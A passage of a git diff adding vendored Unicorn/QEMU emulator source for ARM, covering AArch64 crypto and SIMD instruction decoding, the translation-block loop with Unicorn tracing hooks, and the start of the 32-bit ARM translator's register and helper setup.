tcg_decrypt); +} + +/* C3.6.20 Crypto three-reg SHA + * 31 24 23 22 21 20 16 15 14 12 11 10 9 5 4 0 + * +-----------------+------+---+------+---+--------+-----+------+------+ + * | 0 1 0 1 1 1 1 0 | size | 0 | Rm | 0 | opcode | 0 0 | Rn | Rd | + * +-----------------+------+---+------+---+--------+-----+------+------+ + */ +static void disas_crypto_three_reg_sha(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = extract32(insn, 22, 2); + int opcode = extract32(insn, 12, 3); + int rm = extract32(insn, 16, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + CryptoThreeOpEnvFn *genfn; + TCGv_i32 tcg_rd_regno, tcg_rn_regno, tcg_rm_regno; + int feature = ARM_FEATURE_V8_SHA256; + + if (size != 0) { + unallocated_encoding(s); + return; + } + + switch (opcode) { + case 0: /* SHA1C */ + case 1: /* SHA1P */ + case 2: /* SHA1M */ + case 3: /* SHA1SU0 */ + genfn = NULL; + feature = ARM_FEATURE_V8_SHA1; + break; + case 4: /* SHA256H */ + genfn = gen_helper_crypto_sha256h; + break; + case 5: /* SHA256H2 */ + genfn = gen_helper_crypto_sha256h2; + break; + case 6: /* SHA256SU1 */ + genfn = gen_helper_crypto_sha256su1; + break; + default: + unallocated_encoding(s); + return; + } + + if (!arm_dc_feature(s, feature)) { + unallocated_encoding(s); + return; + } + + tcg_rd_regno = tcg_const_i32(tcg_ctx, rd << 1); + tcg_rn_regno = tcg_const_i32(tcg_ctx, rn << 1); + tcg_rm_regno = tcg_const_i32(tcg_ctx, rm << 1); + + if (genfn) { + genfn(tcg_ctx, tcg_ctx->cpu_env, tcg_rd_regno, tcg_rn_regno, tcg_rm_regno); + } else { + TCGv_i32 tcg_opcode = tcg_const_i32(tcg_ctx, opcode); + + gen_helper_crypto_sha1_3reg(tcg_ctx, tcg_ctx->cpu_env, tcg_rd_regno, + tcg_rn_regno, tcg_rm_regno, tcg_opcode); + tcg_temp_free_i32(tcg_ctx, tcg_opcode); + } + + tcg_temp_free_i32(tcg_ctx, tcg_rd_regno); + tcg_temp_free_i32(tcg_ctx, tcg_rn_regno); + tcg_temp_free_i32(tcg_ctx, tcg_rm_regno); +} + +/* C3.6.21 Crypto two-reg SHA + * 31 24 23 22 21 17 16 12 11 10 9 5 4 0 + * +-----------------+------+-----------+--------+-----+------+------+ + * | 0 1 0 1 1 1 1 0 | size | 1 0 1 0 0 | opcode | 1 0 | Rn | Rd | + * +-----------------+------+-----------+--------+-----+------+------+ + */ +static void disas_crypto_two_reg_sha(DisasContext *s, uint32_t insn) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int size = extract32(insn, 22, 2); + int opcode = extract32(insn, 12, 5); + int rn = extract32(insn, 5, 5); + int rd = extract32(insn, 0, 5); + CryptoTwoOpEnvFn *genfn; + int feature; + TCGv_i32 tcg_rd_regno, tcg_rn_regno; + + if (size != 0) { + unallocated_encoding(s); + return; + } + + switch (opcode) { + case 0: /* SHA1H */ + feature = ARM_FEATURE_V8_SHA1; + genfn = gen_helper_crypto_sha1h; + break; + case 1: /* SHA1SU1 */ + feature = ARM_FEATURE_V8_SHA1; + genfn = gen_helper_crypto_sha1su1; + break; + case 2: /* SHA256SU0 */ + feature = ARM_FEATURE_V8_SHA256; + genfn = gen_helper_crypto_sha256su0; + break; + default: + unallocated_encoding(s); + return; + } + + if (!arm_dc_feature(s, feature)) { + unallocated_encoding(s); + return; + } + + tcg_rd_regno = tcg_const_i32(tcg_ctx, rd << 1); + tcg_rn_regno = tcg_const_i32(tcg_ctx, rn << 1); + + genfn(tcg_ctx, tcg_ctx->cpu_env, tcg_rd_regno, tcg_rn_regno); + + tcg_temp_free_i32(tcg_ctx, tcg_rd_regno); + tcg_temp_free_i32(tcg_ctx, tcg_rn_regno); +} + +/* C3.6 Data processing - SIMD, inc Crypto + * + * As the decode gets a little complex we are using a table based + * approach for this part of the decode. + */ +static const AArch64DecodeTable data_proc_simd[] = { + /* pattern , mask , fn */ + { 0x0e200400, 0x9f200400, disas_simd_three_reg_same }, + { 0x0e200000, 0x9f200c00, disas_simd_three_reg_diff }, + { 0x0e200800, 0x9f3e0c00, disas_simd_two_reg_misc }, + { 0x0e300800, 0x9f3e0c00, disas_simd_across_lanes }, + { 0x0e000400, 0x9fe08400, disas_simd_copy }, + { 0x0f000000, 0x9f000400, disas_simd_indexed }, /* vector indexed */ + /* simd_mod_imm decode is a subset of simd_shift_imm, so must precede it */ + { 0x0f000400, 0x9ff80400, disas_simd_mod_imm }, + { 0x0f000400, 0x9f800400, disas_simd_shift_imm }, + { 0x0e000000, 0xbf208c00, disas_simd_tb }, + { 0x0e000800, 0xbf208c00, disas_simd_zip_trn }, + { 0x2e000000, 0xbf208400, disas_simd_ext }, + { 0x5e200400, 0xdf200400, disas_simd_scalar_three_reg_same }, + { 0x5e200000, 0xdf200c00, disas_simd_scalar_three_reg_diff }, + { 0x5e200800, 0xdf3e0c00, disas_simd_scalar_two_reg_misc }, + { 0x5e300800, 0xdf3e0c00, disas_simd_scalar_pairwise }, + { 0x5e000400, 0xdfe08400, disas_simd_scalar_copy }, + { 0x5f000000, 0xdf000400, disas_simd_indexed }, /* scalar indexed */ + { 0x5f000400, 0xdf800400, disas_simd_scalar_shift_imm }, + { 0x4e280800, 0xff3e0c00, disas_crypto_aes }, + { 0x5e000000, 0xff208c00, disas_crypto_three_reg_sha }, + { 0x5e280800, 0xff3e0c00, disas_crypto_two_reg_sha }, + { 0x00000000, 0x00000000, NULL } +}; + +static void disas_data_proc_simd(DisasContext *s, uint32_t insn) +{ + /* Note that this is called with all non-FP cases from + * table C3-6 so it must UNDEF for entries not specifically + * allocated to instructions in that table. + */ + AArch64DecodeFn *fn = lookup_disas_fn(&data_proc_simd[0], insn); + if (fn) { + fn(s, insn); + } else { + unallocated_encoding(s); + } +} + +/* C3.6 Data processing - SIMD and floating point */ +static void disas_data_proc_simd_fp(DisasContext *s, uint32_t insn) +{ + if (extract32(insn, 28, 1) == 1 && extract32(insn, 30, 1) == 0) { + disas_data_proc_fp(s, insn); + } else { + /* SIMD, including crypto */ + disas_data_proc_simd(s, insn); + } +} + +/* C3.1 A64 instruction index by encoding */ +static void disas_a64_insn(CPUARMState *env, DisasContext *s) +{ + uint32_t insn; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + + // Unicorn: end address tells us to stop emulation + if (s->pc == s->uc->addr_end) { + // imitate WFI instruction to halt emulation + s->is_jmp = DISAS_WFI; + return; + } + + insn = arm_ldl_code(env, s->pc, s->bswap_code); + s->insn = insn; + s->pc += 4; + + // Unicorn: trace this instruction on request + if (HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_CODE, s->pc - 4)) { + gen_uc_tracecode(tcg_ctx, 4, UC_HOOK_CODE_IDX, env->uc, s->pc - 4); + // the callback might want to stop emulation immediately + check_exit_request(tcg_ctx); + } + + s->fp_access_checked = false; + + switch (extract32(insn, 25, 4)) { + case 0x0: case 0x1: case 0x2: case 0x3: /* UNALLOCATED */ + unallocated_encoding(s); + break; + case 0x8: case 0x9: /* Data processing - immediate */ + disas_data_proc_imm(s, insn); + break; + case 0xa: case 0xb: /* Branch, exception generation and system insns */ + disas_b_exc_sys(s, insn); + break; + case 0x4: + case 0x6: + case 0xc: + case 0xe: /* Loads and stores */ + disas_ldst(s, insn); + break; + case 0x5: + case 0xd: /* Data processing - register */ + disas_data_proc_reg(s, insn); + break; + case 0x7: + case 0xf: /* Data processing - SIMD and floating point */ + disas_data_proc_simd_fp(s, insn); + break; + default: + assert(FALSE); /* all 15 cases should be handled above */ + break; + } + + /* if we allocated any temporaries, free them here */ + free_tmp_a64(s); +} + +void gen_intermediate_code_internal_a64(ARMCPU *cpu, + TranslationBlock *tb, + bool search_pc) +{ + CPUState *cs = CPU(cpu); + CPUARMState *env = &cpu->env; + DisasContext dc1, *dc = &dc1; + CPUBreakpoint *bp; + uint16_t *gen_opc_end; + int j, lj; + target_ulong pc_start; + target_ulong next_page_start; + int num_insns; + int max_insns; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + bool block_full = false; + + pc_start = tb->pc; + + dc->uc = env->uc; + dc->tb = tb; + + gen_opc_end = tcg_ctx->gen_opc_buf + OPC_MAX_SIZE; + + dc->is_jmp = DISAS_NEXT; + dc->pc = pc_start; + dc->singlestep_enabled = cs->singlestep_enabled; + dc->condjmp = 0; + + dc->aarch64 = 1; + dc->thumb = 0; +#if defined(TARGET_WORDS_BIGENDIAN) + dc->bswap_code = 1; +#else + dc->bswap_code = 0; +#endif + dc->condexec_mask = 0; + dc->condexec_cond = 0; +#if !defined(CONFIG_USER_ONLY) + dc->user = (ARM_TBFLAG_AA64_EL(tb->flags) == 0); +#endif + dc->cpacr_fpen = ARM_TBFLAG_AA64_FPEN(tb->flags); + dc->vec_len = 0; + dc->vec_stride = 0; + dc->cp_regs = cpu->cp_regs; + dc->current_el = arm_current_el(env); + dc->features = env->features; + + /* Single step state. The code-generation logic here is: + * SS_ACTIVE == 0: + * generate code with no special handling for single-stepping (except + * that anything that can make us go to SS_ACTIVE == 1 must end the TB; + * this happens anyway because those changes are all system register or + * PSTATE writes). + * SS_ACTIVE == 1, PSTATE.SS == 1: (active-not-pending) + * emit code for one insn + * emit code to clear PSTATE.SS + * emit code to generate software step exception for completed step + * end TB (as usual for having generated an exception) + * SS_ACTIVE == 1, PSTATE.SS == 0: (active-pending) + * emit code to generate a software step exception + * end the TB + */ + dc->ss_active = ARM_TBFLAG_AA64_SS_ACTIVE(tb->flags); + dc->pstate_ss = ARM_TBFLAG_AA64_PSTATE_SS(tb->flags); + dc->is_ldex = false; + dc->ss_same_el = (arm_debug_target_el(env) == dc->current_el); + + init_tmp_a64_array(dc); + + next_page_start = (pc_start & TARGET_PAGE_MASK) + TARGET_PAGE_SIZE; + lj = -1; + num_insns = 0; + max_insns = tb->cflags & CF_COUNT_MASK; + if (max_insns == 0) { + max_insns = CF_COUNT_MASK; + } + + tcg_clear_temp_count(); + + // Unicorn: early check to see if the address of this block is the until address + if (tb->pc == env->uc->addr_end) { + // imitate WFI instruction to halt emulation + gen_tb_start(tcg_ctx); + dc->is_jmp = DISAS_WFI; + goto tb_end; + } + + // Unicorn: trace this block on request + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (!env->uc->block_full && HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_BLOCK, pc_start)) { + // save block address to see if we need to patch block size later + env->uc->block_addr = pc_start; + env->uc->size_arg = tcg_ctx->gen_opparam_buf - tcg_ctx->gen_opparam_ptr + 1; + gen_uc_tracecode(tcg_ctx, 0xf8f8f8f8, UC_HOOK_BLOCK_IDX, env->uc, pc_start); + } else { + env->uc->size_arg = -1; + } + + gen_tb_start(tcg_ctx); + + do { + if (unlikely(!QTAILQ_EMPTY(&cs->breakpoints))) { + QTAILQ_FOREACH(bp, &cs->breakpoints, entry) { + if (bp->pc == dc->pc) { + gen_exception_internal_insn(dc, 0, EXCP_DEBUG); + /* Advance PC so that clearing the breakpoint will + invalidate this TB. */ + dc->pc += 2; + goto done_generating; + } + } + } + + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + if (lj < j) { + lj++; + while (lj < j) { + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } + } + tcg_ctx->gen_opc_pc[lj] = dc->pc; + tcg_ctx->gen_opc_instr_start[lj] = 1; + //tcg_ctx->gen_opc_icount[lj] = num_insns; + } + + //if (num_insns + 1 == max_insns && (tb->cflags & CF_LAST_IO)) { + // gen_io_start(); + //} + + if (unlikely(qemu_loglevel_mask(CPU_LOG_TB_OP | CPU_LOG_TB_OP_OPT))) { + tcg_gen_debug_insn_start(tcg_ctx, dc->pc); + } + + if (dc->ss_active && !dc->pstate_ss) { + /* Singlestep state is Active-pending. + * If we're in this state at the start of a TB then either + * a) we just took an exception to an EL which is being debugged + * and this is the first insn in the exception handler + * b) debug exceptions were masked and we just unmasked them + * without changing EL (eg by clearing PSTATE.D) + * In either case we're going to take a swstep exception in the + * "did not step an insn" case, and so the syndrome ISV and EX + * bits should be zero. + */ + assert(num_insns == 0); + gen_exception(dc, EXCP_UDEF, syn_swstep(dc->ss_same_el, 0, 0)); + dc->is_jmp = DISAS_EXC; + break; + } + + disas_a64_insn(env, dc); + + if (tcg_check_temp_count()) { + fprintf(stderr, "TCG temporary leak before "TARGET_FMT_lx"\n", + dc->pc); + } + + /* Translation stops when a conditional branch is encountered. + * Otherwise the subsequent code could get translated several times. + * Also stop translation when a page boundary is reached. This + * ensures prefetch aborts occur at the right place. + */ + num_insns++; + } while (!dc->is_jmp && tcg_ctx->gen_opc_ptr < gen_opc_end && + !cs->singlestep_enabled && + !dc->ss_active && + dc->pc < next_page_start && + num_insns < max_insns); + + /* if too long translation, save this info */ + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) { + block_full = true; + } + + //if (tb->cflags & CF_LAST_IO) { + // gen_io_end(); + //} + +tb_end: + if (unlikely(cs->singlestep_enabled || dc->ss_active) + && dc->is_jmp != DISAS_EXC) { + /* Note that this means single stepping WFI doesn't halt the CPU. + * For conditional branch insns this is harmless unreachable code as + * gen_goto_tb() has already handled emitting the debug exception + * (and thus a tb-jump is not possible when singlestepping). + */ + assert(dc->is_jmp != DISAS_TB_JUMP); + if (dc->is_jmp != DISAS_JUMP) { + gen_a64_set_pc_im(dc, dc->pc); + } + if (cs->singlestep_enabled) { + gen_exception_internal(dc, EXCP_DEBUG); + } else { + gen_step_complete_exception(dc); + } + } else { + switch (dc->is_jmp) { + case DISAS_NEXT: + gen_goto_tb(dc, 1, dc->pc); + break; + default: + case DISAS_UPDATE: + gen_a64_set_pc_im(dc, dc->pc); + /* fall through */ + case DISAS_JUMP: + /* indicate that the hash table must be used to find the next TB */ + tcg_gen_exit_tb(tcg_ctx, 0); + break; + case DISAS_TB_JUMP: + case DISAS_EXC: + case DISAS_SWI: + break; + case DISAS_WFE: + gen_a64_set_pc_im(dc, dc->pc); + gen_helper_wfe(tcg_ctx, tcg_ctx->cpu_env); + break; + case DISAS_WFI: + /* This is a special case because we don't want to just halt the CPU + * if trying to debug across a WFI. + */ + gen_a64_set_pc_im(dc, dc->pc); + gen_helper_wfi(tcg_ctx, tcg_ctx->cpu_env); + break; + } + } + +done_generating: + gen_tb_end(tcg_ctx, tb, num_insns); + *tcg_ctx->gen_opc_ptr = INDEX_op_end; + + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + lj++; + while (lj <= j) { + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } + } else { + tb->size = dc->pc - pc_start; + tb->icount = num_insns; + } + + env->uc->block_full = block_full; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate.c new file mode 100644 index 0000000..f172b33 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate.c @@ -0,0 +1,11633 @@ +/* + * ARM translation + * + * Copyright (c) 2003 Fabrice Bellard + * Copyright (c) 2005-2007 CodeSourcery + * Copyright (c) 2007 OpenedHand, Ltd. + * Copyright (c) 2015 Nguyen Anh Quynh (Unicorn engine) + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#include +#include +#include +#include +#include "unicorn/platform.h" + +#include "cpu.h" +#include "internals.h" +#include "tcg-op.h" +#include "qemu/log.h" +#include "qemu/bitops.h" +#include "arm_ldst.h" + +#include "exec/helper-proto.h" +#include "exec/helper-gen.h" + +#include "exec/gen-icount.h" + +#define ENABLE_ARCH_4T arm_dc_feature(s, ARM_FEATURE_V4T) +#define ENABLE_ARCH_5 arm_dc_feature(s, ARM_FEATURE_V5) +/* currently all emulated v5 cores are also v5TE, so don't bother */ +#define ENABLE_ARCH_5TE arm_dc_feature(s, ARM_FEATURE_V5) +#define ENABLE_ARCH_5J 0 +#define ENABLE_ARCH_6 arm_dc_feature(s, ARM_FEATURE_V6) +#define ENABLE_ARCH_6K arm_dc_feature(s, ARM_FEATURE_V6K) +#define ENABLE_ARCH_6T2 arm_dc_feature(s, ARM_FEATURE_THUMB2) +#define ENABLE_ARCH_7 arm_dc_feature(s, ARM_FEATURE_V7) +#define ENABLE_ARCH_8 arm_dc_feature(s, ARM_FEATURE_V8) + +#define ARCH(x) do { if (!ENABLE_ARCH_##x) goto illegal_op; } while(0) + +#include "translate.h" + +#if defined(CONFIG_USER_ONLY) +#define IS_USER(s) 1 +#else +#define IS_USER(s) (s->user) +#endif + +#ifdef CONFIG_USER_ONLY +static TCGv_i64 cpu_exclusive_test; +static TCGv_i32 cpu_exclusive_info; +#endif + + +static const char *regnames[] = + { "r0", "r1", "r2", "r3", "r4", "r5", "r6", "r7", + "r8", "r9", "r10", "r11", "r12", "r13", "r14", "pc" }; + +/* initialize TCG globals. */ +void arm_translate_init(struct uc_struct *uc) +{ + int i; + TCGContext *tcg_ctx = uc->tcg_ctx; + + tcg_ctx->cpu_env = tcg_global_reg_new_ptr(uc->tcg_ctx, TCG_AREG0, "env"); + + for (i = 0; i < 16; i++) { + tcg_ctx->cpu_R[i] = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, regs[i]), + regnames[i]); + } + tcg_ctx->cpu_CF = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, offsetof(CPUARMState, CF), "CF"); + tcg_ctx->cpu_NF = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, offsetof(CPUARMState, NF), "NF"); + tcg_ctx->cpu_VF = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, offsetof(CPUARMState, VF), "VF"); + tcg_ctx->cpu_ZF = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, offsetof(CPUARMState, ZF), "ZF"); + + tcg_ctx->cpu_exclusive_addr = tcg_global_mem_new_i64(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, exclusive_addr), "exclusive_addr"); + tcg_ctx->cpu_exclusive_val = tcg_global_mem_new_i64(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, exclusive_val), "exclusive_val"); +#ifdef CONFIG_USER_ONLY + cpu_exclusive_test = tcg_global_mem_new_i64(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, exclusive_test), "exclusive_test"); + cpu_exclusive_info = tcg_global_mem_new_i32(uc->tcg_ctx, TCG_AREG0, + offsetof(CPUARMState, exclusive_info), "exclusive_info"); +#endif + + a64_translate_init(uc); +} + +static inline TCGv_i32 load_cpu_offset(struct uc_struct *uc, int offset) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ld_i32(tcg_ctx, tmp, tcg_ctx->cpu_env, offset); + return tmp; +} + +#define load_cpu_field(uc, name) load_cpu_offset(uc, offsetof(CPUARMState, name)) + +static inline void store_cpu_offset(TCGContext *tcg_ctx, TCGv_i32 var, int offset) +{ + tcg_gen_st_i32(tcg_ctx, var, tcg_ctx->cpu_env, offset); + tcg_temp_free_i32(tcg_ctx, var); +} + +#define store_cpu_field(s, var, name) \ + store_cpu_offset(s, var, offsetof(CPUARMState, name)) + +/* Set a variable to the value of a CPU register. */ +static void load_reg_var(DisasContext *s, TCGv_i32 var, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (reg == 15) { + uint32_t addr; + /* normally, since we updated PC, we need only to add one insn */ + if (s->thumb) + addr = (long)s->pc + 2; + else + addr = (long)s->pc + 4; + tcg_gen_movi_i32(tcg_ctx, var, addr); + } else { + tcg_gen_mov_i32(tcg_ctx, var, tcg_ctx->cpu_R[reg & 0x0f]); + } +} + +/* Create a new temporary and set it to the value of a CPU register. */ +static inline TCGv_i32 load_reg(DisasContext *s, int reg) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + load_reg_var(s, tmp, reg); + return tmp; +} + +/* Set a CPU register. The source must be a temporary and will be + marked as dead. */ +static void store_reg(DisasContext *s, int reg, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (reg == 15) { + tcg_gen_andi_i32(tcg_ctx, var, var, ~1); + s->is_jmp = DISAS_JUMP; + } + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_R[reg & 0x0f], var); + tcg_temp_free_i32(tcg_ctx, var); +} + +/* Value extensions. */ +#define gen_uxtb(var) tcg_gen_ext8u_i32(tcg_ctx, var, var) +#define gen_uxth(var) tcg_gen_ext16u_i32(tcg_ctx, var, var) +#define gen_sxtb(var) tcg_gen_ext8s_i32(tcg_ctx, var, var) +#define gen_sxth(var) tcg_gen_ext16s_i32(tcg_ctx, var, var) + +#define gen_sxtb16(var) gen_helper_sxtb16(tcg_ctx, var, var) +#define gen_uxtb16(var) gen_helper_uxtb16(tcg_ctx, var, var) + + +static inline void gen_set_cpsr(DisasContext *s, TCGv_i32 var, uint32_t mask) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp_mask = tcg_const_i32(tcg_ctx, mask); + gen_helper_cpsr_write(tcg_ctx, tcg_ctx->cpu_env, var, tmp_mask); + tcg_temp_free_i32(tcg_ctx, tmp_mask); +} +/* Set NZCV flags from the high 4 bits of var. */ +#define gen_set_nzcv(s, var) gen_set_cpsr(s, var, CPSR_NZCV) + +static void gen_exception_internal(DisasContext *s, int excp) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tcg_excp = tcg_const_i32(tcg_ctx, excp); + + assert(excp_is_internal(excp)); + gen_helper_exception_internal(tcg_ctx, tcg_ctx->cpu_env, tcg_excp); + tcg_temp_free_i32(tcg_ctx, tcg_excp); +} + +static void gen_exception(DisasContext *s, int excp, uint32_t syndrome) // qq +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tcg_excp = tcg_const_i32(tcg_ctx, excp); + TCGv_i32 tcg_syn = tcg_const_i32(tcg_ctx, syndrome); + + gen_helper_exception_with_syndrome(tcg_ctx, tcg_ctx->cpu_env, tcg_excp, tcg_syn); + tcg_temp_free_i32(tcg_ctx, tcg_syn); + tcg_temp_free_i32(tcg_ctx, tcg_excp); +} + +static void gen_ss_advance(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* If the singlestep state is Active-not-pending, advance to + * Active-pending. + */ + if (s->ss_active) { + s->pstate_ss = 0; + gen_helper_clear_pstate_ss(tcg_ctx, tcg_ctx->cpu_env); + } +} + +static void gen_step_complete_exception(DisasContext *s) +{ + /* We just completed step of an insn. Move from Active-not-pending + * to Active-pending, and then also take the swstep exception. + * This corresponds to making the (IMPDEF) choice to prioritize + * swstep exceptions over asynchronous exceptions taken to an exception + * level where debug is disabled. This choice has the advantage that + * we do not need to maintain internal state corresponding to the + * ISV/EX syndrome bits between completion of the step and generation + * of the exception, and our syndrome information is always correct. + */ + gen_ss_advance(s); + gen_exception(s, EXCP_UDEF, syn_swstep(s->ss_same_el, 1, s->is_ldex)); + s->is_jmp = DISAS_EXC; +} + +static void gen_smul_dual(DisasContext *s, TCGv_i32 a, TCGv_i32 b) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_ext16s_i32(tcg_ctx, tmp1, a); + tcg_gen_ext16s_i32(tcg_ctx, tmp2, b); + tcg_gen_mul_i32(tcg_ctx, tmp1, tmp1, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_gen_sari_i32(tcg_ctx, a, a, 16); + tcg_gen_sari_i32(tcg_ctx, b, b, 16); + tcg_gen_mul_i32(tcg_ctx, b, b, a); + tcg_gen_mov_i32(tcg_ctx, a, tmp1); + tcg_temp_free_i32(tcg_ctx, tmp1); +} + +/* Byteswap each halfword. */ +static void gen_rev16(DisasContext *s, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_shri_i32(tcg_ctx, tmp, var, 8); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, 0x00ff00ff); + tcg_gen_shli_i32(tcg_ctx, var, var, 8); + tcg_gen_andi_i32(tcg_ctx, var, var, 0xff00ff00); + tcg_gen_or_i32(tcg_ctx, var, var, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); +} + +/* Byteswap low halfword and sign extend. */ +static void gen_revsh(DisasContext *s, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_ext16u_i32(tcg_ctx, var, var); + tcg_gen_bswap16_i32(tcg_ctx, var, var); + tcg_gen_ext16s_i32(tcg_ctx, var, var); +} + +/* Unsigned bitfield extract. */ +static void gen_ubfx(DisasContext *s, TCGv_i32 var, int shift, uint32_t mask) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + if (shift) + tcg_gen_shri_i32(tcg_ctx, var, var, shift); + tcg_gen_andi_i32(tcg_ctx, var, var, mask); +} + +/* Signed bitfield extract. */ +static void gen_sbfx(DisasContext *s, TCGv_i32 var, int shift, int width) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t signbit; + + if (shift) + tcg_gen_sari_i32(tcg_ctx, var, var, shift); + if (shift + width < 32) { + signbit = 1u << (width - 1); + tcg_gen_andi_i32(tcg_ctx, var, var, (1u << width) - 1); + tcg_gen_xori_i32(tcg_ctx, var, var, signbit); + tcg_gen_subi_i32(tcg_ctx, var, var, signbit); + } +} + +/* Return (b << 32) + a. Mark inputs as dead */ +static TCGv_i64 gen_addq_msw(DisasContext *s, TCGv_i64 a, TCGv_i32 b) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tmp64 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_extu_i32_i64(tcg_ctx, tmp64, b); + tcg_temp_free_i32(tcg_ctx, b); + tcg_gen_shli_i64(tcg_ctx, tmp64, tmp64, 32); + tcg_gen_add_i64(tcg_ctx, a, tmp64, a); + + tcg_temp_free_i64(tcg_ctx, tmp64); + return a; +} + +/* Return (b << 32) - a. Mark inputs as dead. */ +static TCGv_i64 gen_subq_msw(DisasContext *s, TCGv_i64 a, TCGv_i32 b) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tmp64 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_extu_i32_i64(tcg_ctx, tmp64, b); + tcg_temp_free_i32(tcg_ctx, b); + tcg_gen_shli_i64(tcg_ctx, tmp64, tmp64, 32); + tcg_gen_sub_i64(tcg_ctx, a, tmp64, a); + + tcg_temp_free_i64(tcg_ctx, tmp64); + return a; +} + +/* 32x32->64 multiply. Marks inputs as dead. */ +static TCGv_i64 gen_mulu_i64_i32(DisasContext *s, TCGv_i32 a, TCGv_i32 b) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 lo = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 hi = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 ret; + + tcg_gen_mulu2_i32(tcg_ctx, lo, hi, a, b); + tcg_temp_free_i32(tcg_ctx, a); + tcg_temp_free_i32(tcg_ctx, b); + + ret = tcg_temp_new_i64(tcg_ctx); + tcg_gen_concat_i32_i64(tcg_ctx, ret, lo, hi); + tcg_temp_free_i32(tcg_ctx, lo); + tcg_temp_free_i32(tcg_ctx, hi); + + return ret; +} + +static TCGv_i64 gen_muls_i64_i32(DisasContext *s, TCGv_i32 a, TCGv_i32 b) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 lo = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 hi = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 ret; + + tcg_gen_muls2_i32(tcg_ctx, lo, hi, a, b); + tcg_temp_free_i32(tcg_ctx, a); + tcg_temp_free_i32(tcg_ctx, b); + + ret = tcg_temp_new_i64(tcg_ctx); + tcg_gen_concat_i32_i64(tcg_ctx, ret, lo, hi); + tcg_temp_free_i32(tcg_ctx, lo); + tcg_temp_free_i32(tcg_ctx, hi); + + return ret; +} + +/* Swap low and high halfwords. */ +static void gen_swap_half(DisasContext *s, TCGv_i32 var) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_shri_i32(tcg_ctx, tmp, var, 16); + tcg_gen_shli_i32(tcg_ctx, var, var, 16); + tcg_gen_or_i32(tcg_ctx, var, var, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); +} + +/* Dual 16-bit add. Result placed in t0 and t1 is marked as dead. + tmp = (t0 ^ t1) & 0x8000; + t0 &= ~0x8000; + t1 &= ~0x8000; + t0 = (t0 + t1) ^ tmp; + */ + +static void gen_add16(DisasContext *s, TCGv_i32 t0, TCGv_i32 t1) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + 